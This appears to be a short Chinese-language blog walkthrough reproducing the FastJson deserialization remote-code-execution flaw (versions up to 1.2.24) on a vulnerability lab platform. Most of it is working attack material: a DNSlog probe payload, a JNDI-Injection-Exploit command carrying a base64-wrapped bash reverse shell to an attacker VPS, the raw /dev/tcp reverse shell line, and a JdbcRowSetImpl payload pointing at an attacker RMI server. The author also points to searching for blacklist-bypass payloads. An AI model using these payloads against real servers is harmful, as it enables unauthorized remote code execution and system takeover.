漏洞原理
原理就不多说了，可以去看我这篇文章，已经写得很详细了。
Java安全—log4j日志&FastJson序列化&JNDI注入-CSDN博客
影响版本
FastJson<=1.2.24
复现过程
这里我是用vulfocus.cn这个漏洞平台去复现的，比较方便，访问发现是个Json的数据。
抓个包，改为post请求模式，数据类型改为json，随便请求个json格式的数据再发送，发现其会处理json的数据。
找个dnslog平台测试一下。
{"a":{"@type":"java.net.Inet4Address","val":"dnslog地址"}
}
发现有回显，说明存在远程命令执行漏洞。
接着来反弹shell，我们用JNDI-Injection-Exploit这个工具来进行，这个工具比较方便可以根据命令来生成rmi/ldap资源路径，就不需要我们自己编写class文件了。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx（vps的IP）把上面echo后面的xxxx替换成下面反弹shell命令的base64编码，执行命令之后就会生成几个资源链接，不知道用哪个的话，都试试就行。
bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1
利用这个payload，把dataSourceName里面的内容换成我们上面的资源链接。
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx/xxx", "autoCommit":true}
}
监听一下连接端口
重新发包。
可以看到有服务器请求了我们的rmi资源。
但是没有返回shell，奇了怪了，昨天都还正常的，算了不管了，反正原理就这样。
总结
这个漏洞原理只要你把它搞懂了其实很简单的，不算难，而且无论什么版本的FastJson的漏洞原理都是一样的。只不过是增加了一下黑白名单的过滤，也存在对应的绕过方法，搜一下payload即可。
